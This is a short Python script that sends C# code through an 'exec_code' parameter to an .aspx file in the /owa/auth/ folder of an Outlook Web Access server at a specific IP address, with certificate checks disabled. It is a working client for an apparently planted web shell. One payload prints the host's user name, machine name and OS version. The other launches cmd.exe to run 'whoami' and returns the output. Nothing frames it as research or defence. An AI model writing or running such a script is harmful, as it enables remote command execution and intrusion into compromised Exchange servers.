#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
U = "https://213.6.54.59/owa/auth/kjyqsi.aspx"
tests = {
 'identity': 'Response.Write("ID["+System.Environment.UserName+"|"+System.Environment.MachineName+"|"+System.Environment.OSVersion+"]");',
 'proc': 'var p=new System.Diagnostics.Process();p.StartInfo.FileName=("cmd.exe");p.StartInfo.Arguments=("/c whoami");p.StartInfo.UseShellExecute=false;p.StartInfo.RedirectStandardOutput=true;p.Start();Response.Write("OUT["+p.StandardOutput.ReadToEnd()+"]");',
}
for n,c in tests.items():
    try:
        f = requests.post(U, headers={'Content-Type':'application/x-www-form-urlencoded'}, params={"exec_code":c}, verify=False, timeout=30)
        print(f"[{n}] {f.status_code} len={len(f.text)} head={f.text[:200]!r}")
    except Exception as e:
        print(f"[{n}] err {type(e).__name__} {str(e)[:120]}")
